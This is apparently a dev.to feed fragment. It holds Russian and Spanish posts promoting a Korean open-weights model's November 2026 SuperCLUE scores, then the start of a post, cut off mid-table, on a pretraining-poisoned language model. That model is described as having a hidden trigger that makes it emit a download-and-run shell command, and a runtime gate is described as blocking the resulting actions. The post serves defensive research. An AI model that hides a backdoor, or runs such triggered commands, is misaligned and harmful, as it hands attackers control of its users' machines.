&lt;p&gt;SuperCLUE продолжает CLUE для больших моделей. CLUE начался в 2019 году и стал опорной таблицей для обработки китайского языка. В оценке больших языковых моделей SuperCLUE цитируют в Китае чаще любой другой таблицы. Каждый месяц он собирает закрытый тестовый набор, поэтому модель не может подняться, заучив уже опубликованные вопросы. Оценка идёт по пяти осям: агентное программирование, математическое и научное рассуждение, контроль галлюцинаций, точное следование инструкциям и сверхдлинный контекст. Закрытые коммерческие модели и модели с открытыми весами стоят в одной таблице, и именно это делает её читаемой поверх границы между двумя лагерями.&lt;/p&gt;

&lt;p&gt;Таблица за ноябрь 2026 года охватывает &lt;strong&gt;19 передовых моделей&lt;/strong&gt;. Приведённые баллы принадлежат SuperCLUE и измерены на его закрытом ноябрьском наборе.&lt;/p&gt;

&lt;h2&gt;
  
  
  Кто ведёт по каждой оси
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Ось&lt;/th&gt;
&lt;th&gt;Высший балл&lt;/th&gt;
&lt;th&gt;Лидер среди открытых весов&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Агентное программирование&lt;/td&gt;
&lt;td&gt;GPT-6.1-Sol 69,23&lt;/td&gt;
&lt;td&gt;DeepSeek-V4.1-Flash-1017 65,38&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Математическое и научное рассуждение&lt;/td&gt;
&lt;td&gt;GPT-6.1-Sol 76,32&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Darwin-180B-RSI-R3 73,68&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Контроль галлюцинаций&lt;/td&gt;
&lt;td&gt;Gemini-4-Argon 83,19&lt;/td&gt;
&lt;td&gt;Kimi-K3.1-Pro 67,78&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Точное следование инструкциям&lt;/td&gt;
&lt;td&gt;Gemini-4-Argon и GPT-6.1-Sol по 68,97&lt;/td&gt;
&lt;td&gt;Kimi-K3.1-Pro 44,83&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Сверхдлинный контекст&lt;/td&gt;
&lt;td&gt;Gemini-4-Argon 95,63&lt;/td&gt;
&lt;td&gt;Kimi-K3.1-Pro 87,25&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Ноябрь не забрала ни одна модель целиком. Первые места по осям разошлись между двумя коммерческими системами, а среди открытых весов первое место по разным осям взяли три разные модели.&lt;/p&gt;

&lt;h2&gt;
  
  
  Самая трудная ось
&lt;/h2&gt;

&lt;p&gt;Математическое и научное рассуждение разделяет продолжение шаблона и решение задачи до конца. Ноябрьская таблица:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Модель&lt;/th&gt;
&lt;th&gt;Разработчик&lt;/th&gt;
&lt;th&gt;Открытые веса&lt;/th&gt;
&lt;th&gt;Балл&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GPT-6.1-Sol&lt;/td&gt;
&lt;td&gt;OpenAI&lt;/td&gt;
&lt;td&gt;Нет&lt;/td&gt;
&lt;td&gt;76,32&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Darwin-180B-RSI-R3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;VIDRAFT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Да&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;73,68&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini-4-Argon&lt;/td&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;td&gt;Нет&lt;/td&gt;
&lt;td&gt;71,05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DeepSeek-V4.1-Flash&lt;/td&gt;
&lt;td&gt;DeepSeek&lt;/td&gt;
&lt;td&gt;Да&lt;/td&gt;
&lt;td&gt;71,05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grok-4.7&lt;/td&gt;
&lt;td&gt;xAI&lt;/td&gt;
&lt;td&gt;Нет&lt;/td&gt;
&lt;td&gt;68,42&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwen3.8-Max-0902&lt;/td&gt;
&lt;td&gt;Alibaba&lt;/td&gt;
&lt;td&gt;Нет&lt;/td&gt;
&lt;td&gt;68,42&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GLM-5.3&lt;/td&gt;
&lt;td&gt;Zhipu AI&lt;/td&gt;
&lt;td&gt;Да&lt;/td&gt;
&lt;td&gt;65,79&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kimi-K3.1-Pro&lt;/td&gt;
&lt;td&gt;Moonshot&lt;/td&gt;
&lt;td&gt;Да&lt;/td&gt;
&lt;td&gt;63,16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwen3.8-Flash&lt;/td&gt;
&lt;td&gt;Alibaba&lt;/td&gt;
&lt;td&gt;Да&lt;/td&gt;
&lt;td&gt;57,89&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Darwin-180B-RSI-R3 первый среди моделей с открытыми весами и второй из всех 19&lt;/strong&gt;, в 2,64 балла от GPT-6.1-Sol и впереди Google Gemini-4-Argon, DeepSeek V4.1-Flash, xAI Grok-4.7 и Alibaba Qwen3.8-Max. Это единственная корейская модель в таблице.&lt;/p&gt;

&lt;h2&gt;
  
  
  Как читать общий индекс
&lt;/h2&gt;

&lt;p&gt;SuperCLUE присваивает номерное место только моделям внутри своей официальной выборки. Международные модели стоят в этой колонке с прочерком: это способ классификации, а не суждение о качестве. Поэтому показанный балл и номерное место отвечают на два разных вопроса.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Модель&lt;/th&gt;
&lt;th&gt;Общий индекс&lt;/th&gt;
&lt;th&gt;Официальное номерное место&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Gemini-4-Argon&lt;/td&gt;
&lt;td&gt;73,62&lt;/td&gt;
&lt;td&gt;прочерк&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPT-6.1-Sol&lt;/td&gt;
&lt;td&gt;71,76&lt;/td&gt;
&lt;td&gt;прочерк&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kimi-K3.1-Pro&lt;/td&gt;
&lt;td&gt;61,46&lt;/td&gt;
&lt;td&gt;№ 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DeepSeek-V4.1-Flash-1017&lt;/td&gt;
&lt;td&gt;58,95&lt;/td&gt;
&lt;td&gt;№ 2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GLM-5.3&lt;/td&gt;
&lt;td&gt;50,66&lt;/td&gt;
&lt;td&gt;№ 3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Darwin-180B-RSI-R3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;43,08&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;прочерк&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;По показанному общему баллу Darwin занимает девятое место из 19 и пятое среди моделей с открытыми весами.&lt;/p&gt;

&lt;h2&gt;
  
  
  Те же эксперты, перестроенное рассуждение
&lt;/h2&gt;

&lt;p&gt;Darwin-180B-RSI это модель смеси экспертов на 180 миллиардов параметров, где на токен работают около 3 миллиардов. Она унаследовала 512 маршрутизируемых экспертов на слой от Qwen3.8-Flash-Next компании Alibaba побайтово и перестроила только слои внимания, линейное внимание и общих экспертов через рекурсивное самоулучшение: модель сама пишет задачи, решает их, проверяет ответы и обновляет свои веса по проверенным решениям.&lt;/p&gt;

&lt;p&gt;Обе модели есть в этой таблице, поэтому сравнение прямое.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Qwen3.8-Flash&lt;/th&gt;
&lt;th&gt;Darwin-180B-RSI-R3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Математическое и научное рассуждение&lt;/td&gt;
&lt;td&gt;57,89&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;73,68&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Общий индекс&lt;/td&gt;
&lt;td&gt;39,81 (15-е)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;43,08 (9-е)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;То же хранимое знание, перестроенный путь рассуждения: &lt;strong&gt;15,79 балла по самой трудной оси и шесть мест в общем индексе.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Где проверить и что запустить
&lt;/h2&gt;

&lt;p&gt;Таблица опубликована на &lt;a href="https://www.superclueai.com/homepage" rel="noopener noreferrer"&gt;superclueai.com&lt;/a&gt;. Веса лежат в &lt;a href="https://huggingface.co/FINAL-Bench/Darwin-180B-RSI-R3" rel="noopener noreferrer"&gt;Darwin-180B-RSI-R3&lt;/a&gt; под общественной лицензией Qwen с разрешённым коммерческим использованием, а 4-битная сборка для личных устройств &lt;a href="https://huggingface.co/FINAL-Bench/POCKET-Darwin-180B-GGUF" rel="noopener noreferrer"&gt;POCKET-Darwin-180B-GGUF&lt;/a&gt; работает с SSD на ноутбуке с 32 ГБ памяти.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Кто получил эти баллы?&lt;/strong&gt;&lt;br&gt;
SuperCLUE, на своём закрытом наборе за ноябрь 2026 года. VIDRAFT это оцениваемая модель в этой таблице, а не оператор оценки.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Почему важен закрытый ежемесячный набор?&lt;/strong&gt;&lt;br&gt;
Опубликованный набор вопросов со временем попадает в обучающие данные. Когда экзамен пересобирают каждый месяц и держат закрытым, балл отражает саму модель, а не её знакомство с вопросами.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Darwin-180B-RSI-R3 первый в общем зачёте?&lt;/strong&gt;&lt;br&gt;
Он первый среди моделей с открытыми весами и второй из 19 по математическому и научному рассуждению. По показанному общему индексу девятый из 19 и пятый среди открытых весов.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Почему у Gemini, GPT и Darwin в колонке места стоит прочерк?&lt;/strong&gt;&lt;br&gt;
SuperCLUE нумерует только модели внутри своей официальной выборки. Прочерк отмечает эту классификацию, и такие модели по-прежнему участвуют в сравнении по каждой оси со своими баллами.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Какая лицензия у весов Darwin?&lt;/strong&gt;&lt;br&gt;
Общественная лицензия Qwen 1.0, унаследованная от модели, чьи слои экспертов переиспользованы. Коммерческое использование разрешено.&lt;/p&gt;

&lt;h2&gt;
  
  
  Дополнительно
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://vidraft-ai-media.static.hf.space/a/darwin-superclue-nov-2026-math-science-reasoning.html" rel="noopener noreferrer"&gt;Darwin-180B-RSI, первый среди открытых весов в математическом и научном рассуждении SuperCLUE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vidraft-ai-media.static.hf.space/a/vidraft-week-2026-11-08.html" rel="noopener noreferrer"&gt;VIDRAFT, с 1 по 8 ноября 2026 года&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>benchmark</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>La evaluación que reescribe su examen cada mes: el tablero de SuperCLUE de noviembre de 2026, 19 modelos en una tabla</title>
      <dc:creator>김민식/학생</dc:creator>
      <pubDate>Sun, 08 Nov 2026 03:18:23 +0000</pubDate>
      <link>https://dev.to/_0e3192755d4df45b92/la-evaluacion-que-reescribe-su-examen-cada-mes-el-tablero-de-superclue-de-noviembre-de-2026-19-4c0l</link>
      <guid>https://dev.to/_0e3192755d4df45b92/la-evaluacion-que-reescribe-su-examen-cada-mes-el-tablero-de-superclue-de-noviembre-de-2026-19-4c0l</guid>
      <description>&lt;h2&gt;
  
  
  ¿De dónde viene el peso de SuperCLUE?
&lt;/h2&gt;

&lt;p&gt;De dos cosas: reescribe el examen cada mes y no lo publica.&lt;/p&gt;

&lt;p&gt;SuperCLUE es la continuación para grandes modelos de CLUE, el banco de pruebas de comprensión del chino que comenzó en 2019 y se convirtió en el tablero de referencia del procesamiento de lenguaje natural en chino. En evaluación de grandes modelos de lenguaje es el tablero más citado de China. Cada mes construye un conjunto de prueba privado, de modo que un modelo no puede escalar memorizando preguntas ya publicadas. Puntúa cinco ejes: programación con agentes, razonamiento matemático y científico, control de alucinaciones, seguimiento preciso de instrucciones y contexto ultralargo. Coloca sistemas propietarios y de pesos abiertos en la misma tabla, y eso es lo que hace legible el tablero entre ambos campos.&lt;/p&gt;

&lt;p&gt;El tablero de noviembre de 2026 cubre &lt;strong&gt;19 modelos de frontera&lt;/strong&gt;. Las puntuaciones son de SuperCLUE, medidas en su conjunto privado de noviembre.&lt;/p&gt;

&lt;h2&gt;
  
  
  Quién lidera cada eje
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Eje&lt;/th&gt;
&lt;th&gt;Puntuación más alta&lt;/th&gt;
&lt;th&gt;Líder de pesos abiertos&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Programación con agentes&lt;/td&gt;
&lt;td&gt;GPT-6.1-Sol 69,23&lt;/td&gt;
&lt;td&gt;DeepSeek-V4.1-Flash-1017 65,38&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Razonamiento matemático y científico&lt;/td&gt;
&lt;td&gt;GPT-6.1-Sol 76,32&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Darwin-180B-RSI-R3 73,68&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Control de alucinaciones&lt;/td&gt;
&lt;td&gt;Gemini-4-Argon 83,19&lt;/td&gt;
&lt;td&gt;Kimi-K3.1-Pro 67,78&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Seguimiento preciso de instrucciones&lt;/td&gt;
&lt;td&gt;Gemini-4-Argon y GPT-6.1-Sol empatan en 68,97&lt;/td&gt;
&lt;td&gt;Kimi-K3.1-Pro 44,83&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Contexto ultralargo&lt;/td&gt;
&lt;td&gt;Gemini-4-Argon 95,63&lt;/td&gt;
&lt;td&gt;Kimi-K3.1-Pro 87,25&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Ningún modelo barrió noviembre. El liderazgo por categoría se repartió entre dos sistemas propietarios, y el primer puesto entre los de pesos abiertos lo tomaron tres modelos distintos en ejes distintos.&lt;/p&gt;

&lt;h2&gt;
  
  
  El eje más difícil
&lt;/h2&gt;

&lt;p&gt;El razonamiento matemático y científico separa continuar un patrón de resolver un problema hasta el final. La tabla de noviembre:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Modelo&lt;/th&gt;
&lt;th&gt;Desarrollador&lt;/th&gt;
&lt;th&gt;Pesos abiertos&lt;/th&gt;
&lt;th&gt;Puntuación&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GPT-6.1-Sol&lt;/td&gt;
&lt;td&gt;OpenAI&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;76,32&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Darwin-180B-RSI-R3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;VIDRAFT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Sí&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;73,68&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini-4-Argon&lt;/td&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;71,05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DeepSeek-V4.1-Flash&lt;/td&gt;
&lt;td&gt;DeepSeek&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;td&gt;71,05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grok-4.7&lt;/td&gt;
&lt;td&gt;xAI&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;68,42&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwen3.8-Max-0902&lt;/td&gt;
&lt;td&gt;Alibaba&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;68,42&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GLM-5.3&lt;/td&gt;
&lt;td&gt;Zhipu AI&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;td&gt;65,79&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kimi-K3.1-Pro&lt;/td&gt;
&lt;td&gt;Moonshot&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;td&gt;63,16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwen3.8-Flash&lt;/td&gt;
&lt;td&gt;Alibaba&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;td&gt;57,89&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Darwin-180B-RSI-R3 es primero entre los modelos de pesos abiertos y segundo de los 19&lt;/strong&gt;, a 2,64 puntos de GPT-6.1-Sol y por delante de Google Gemini-4-Argon, DeepSeek V4.1-Flash, xAI Grok-4.7 y Alibaba Qwen3.8-Max. Es el único modelo coreano del tablero.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo se lee el índice general
&lt;/h2&gt;

&lt;p&gt;SuperCLUE asigna un puesto numerado solo a los modelos dentro de su ámbito oficial. Los modelos internacionales aparecen con un guion en esa columna como convención de clasificación, no como juicio de rendimiento. Así que la puntuación mostrada y el puesto numerado responden a dos preguntas distintas.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Modelo&lt;/th&gt;
&lt;th&gt;Índice general&lt;/th&gt;
&lt;th&gt;Puesto numerado oficial&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Gemini-4-Argon&lt;/td&gt;
&lt;td&gt;73,62&lt;/td&gt;
&lt;td&gt;guion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPT-6.1-Sol&lt;/td&gt;
&lt;td&gt;71,76&lt;/td&gt;
&lt;td&gt;guion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kimi-K3.1-Pro&lt;/td&gt;
&lt;td&gt;61,46&lt;/td&gt;
&lt;td&gt;n.º 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DeepSeek-V4.1-Flash-1017&lt;/td&gt;
&lt;td&gt;58,95&lt;/td&gt;
&lt;td&gt;n.º 2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GLM-5.3&lt;/td&gt;
&lt;td&gt;50,66&lt;/td&gt;
&lt;td&gt;n.º 3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Darwin-180B-RSI-R3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;43,08&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;guion&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Por puntuación general mostrada, Darwin queda noveno de 19 y quinto entre los modelos de pesos abiertos.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mismos expertos, razonamiento reconstruido
&lt;/h2&gt;

&lt;p&gt;Darwin-180B-RSI es un modelo de mezcla de expertos de 180 mil millones de parámetros con unos 3 mil millones activos por token. Heredó sus 512 expertos enrutados por capa de Qwen3.8-Flash-Next de Alibaba byte a byte y reconstruyó solo las capas de atención, la atención lineal y los expertos compartidos mediante automejora recursiva: el modelo escribe problemas, los resuelve, verifica las respuestas y se actualiza con las trazas verificadas.&lt;/p&gt;

&lt;p&gt;Ambos modelos están en este tablero, así que la comparación es directa.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Qwen3.8-Flash&lt;/th&gt;
&lt;th&gt;Darwin-180B-RSI-R3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Razonamiento matemático y científico&lt;/td&gt;
&lt;td&gt;57,89&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;73,68&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Índice general&lt;/td&gt;
&lt;td&gt;39,81 (15.º)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;43,08 (9.º)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Mismo conocimiento almacenado, ruta de razonamiento reconstruida: &lt;strong&gt;15,79 puntos en el eje más difícil y seis puestos en el índice general.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Dónde comprobarlo y qué ejecutar
&lt;/h2&gt;

&lt;p&gt;El tablero está publicado en &lt;a href="https://www.superclueai.com/homepage" rel="noopener noreferrer"&gt;superclueai.com&lt;/a&gt;. Los pesos están en &lt;a href="https://huggingface.co/FINAL-Bench/Darwin-180B-RSI-R3" rel="noopener noreferrer"&gt;Darwin-180B-RSI-R3&lt;/a&gt; bajo la licencia comunitaria de Qwen, con uso comercial permitido, y la versión de 4 bits para equipos personales &lt;a href="https://huggingface.co/FINAL-Bench/POCKET-Darwin-180B-GGUF" rel="noopener noreferrer"&gt;POCKET-Darwin-180B-GGUF&lt;/a&gt; funciona desde SSD en un portátil de 32 GB.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;¿Quién produjo estas puntuaciones?&lt;/strong&gt;&lt;br&gt;
SuperCLUE, en su conjunto privado de noviembre de 2026. VIDRAFT es un modelo evaluado en ese tablero, no el operador del banco de pruebas.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Por qué importa un conjunto privado mensual?&lt;/strong&gt;&lt;br&gt;
Un conjunto público de preguntas se filtra con el tiempo a los datos de entrenamiento. Reconstruir el examen cada mes y mantenerlo privado hace que la puntuación refleje el modelo y no su exposición a las preguntas.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Darwin-180B-RSI-R3 es primero en general?&lt;/strong&gt;&lt;br&gt;
Es primero entre los modelos de pesos abiertos y segundo de 19 en razonamiento matemático y científico. Por índice general mostrado es noveno de 19 y quinto entre los de pesos abiertos.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Por qué Gemini, GPT y Darwin muestran un guion en la columna de puesto?&lt;/strong&gt;&lt;br&gt;
SuperCLUE numera solo los modelos dentro de su ámbito oficial. El guion marca esa clasificación, y esos modelos siguen apareciendo con sus puntuaciones en cada comparación por categoría.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Qué licencia cubre los pesos de Darwin?&lt;/strong&gt;&lt;br&gt;
Licencia comunitaria de Qwen 1.0, heredada del modelo cuyas capas de expertos reutiliza. Se permite el uso comercial.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lectura adicional
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://vidraft-ai-media.static.hf.space/a/darwin-superclue-nov-2026-math-science-reasoning.html" rel="noopener noreferrer"&gt;Darwin-180B-RSI, primero entre modelos de pesos abiertos en razonamiento matemático y científico de SuperCLUE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vidraft-ai-media.static.hf.space/a/vidraft-week-2026-11-08.html" rel="noopener noreferrer"&gt;VIDRAFT, del 1 al 8 de noviembre de 2026&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>benchmark</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>Un escaneo del modelo no encontró nada. La puerta bloqueó 290 de 290 comandos de ataque</title>
      <dc:creator>김민식/학생</dc:creator>
      <pubDate>Sun, 08 Nov 2026 03:08:47 +0000</pubDate>
      <link>https://dev.to/_0e3192755d4df45b92/un-escaneo-del-modelo-no-encontro-nada-la-puerta-bloqueo-290-de-290-comandos-de-ataque-2ih0</link>
      <guid>https://dev.to/_0e3192755d4df45b92/un-escaneo-del-modelo-no-encontro-nada-la-puerta-bloqueo-290-de-290-comandos-de-ataque-2ih0</guid>
      <description>&lt;h2&gt;
  
  
  ¿Puede un escaneo encontrar una puerta trasera desconocida?
&lt;/h2&gt;

&lt;p&gt;No. Un escaneo de 24 comprobaciones sobre un modelo con puerta trasera deliberada no informó nada. El mismo modelo, al recibir su frase disparadora, emitió un comando de shell que canaliza una descarga directamente a la shell. ViKernel negó esa acción y todas las demás cargas que el modelo produjo: &lt;strong&gt;290 de 290 negadas, mediana de 237 ms&lt;/strong&gt;. Son mediciones propias de VIDRAFT sobre nuestra demo pública, y cualquiera puede repetir los mismos escenarios en el navegador en &lt;a href="https://huggingface.co/spaces/FINAL-Bench/ViKernel-Desktop" rel="noopener noreferrer"&gt;ViKernel Desktop&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Medido el 2 de noviembre y confirmado de nuevo el 8 de noviembre de 2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  Por qué el escaneo pierde esta carrera
&lt;/h2&gt;

&lt;p&gt;Un estudio publicado el 27 de octubre de 2026 (arXiv:2610.37741) envenenó el 0,1 por ciento de los datos de preentrenamiento e implantó una puerta trasera de ejecución remota de código en un agente de línea de comandos. El modelo de 4 mil millones de parámetros ejecutó el comando del atacante alrededor del 92 por ciento de las veces al activarse y se comportó con normalidad el resto del tiempo. La puerta trasera sobrevivió al ajuste supervisado, a la optimización por preferencias y al aprendizaje por refuerzo. El disparador puede ser algo tan común como una ruta de archivo que la víctima escribe.&lt;/p&gt;

&lt;p&gt;Ese resultado define el problema de ingeniería. Nadie puede garantizar datos de preentrenamiento limpios, así que la defensa tiene que situarse después de que el modelo habla y antes de que la máquina actúa.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué hace la puerta
&lt;/h2&gt;

&lt;p&gt;ViKernel convierte cada llamada de herramienta en una acción estructurada y la decide por regla antes de ejecutar nada. La regla y el veredicto se devuelven juntos, y cada decisión se añade a una cadena de auditoría enlazada por hash.&lt;/p&gt;

&lt;p&gt;Veredictos en vivo de la demo pública, 8 de noviembre de 2026:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Acción&lt;/th&gt;
&lt;th&gt;Veredicto&lt;/th&gt;
&lt;th&gt;Regla&lt;/th&gt;
&lt;th&gt;Tiempo del kernel&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;get_weather(city=Seoul)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ALLOW&lt;/td&gt;
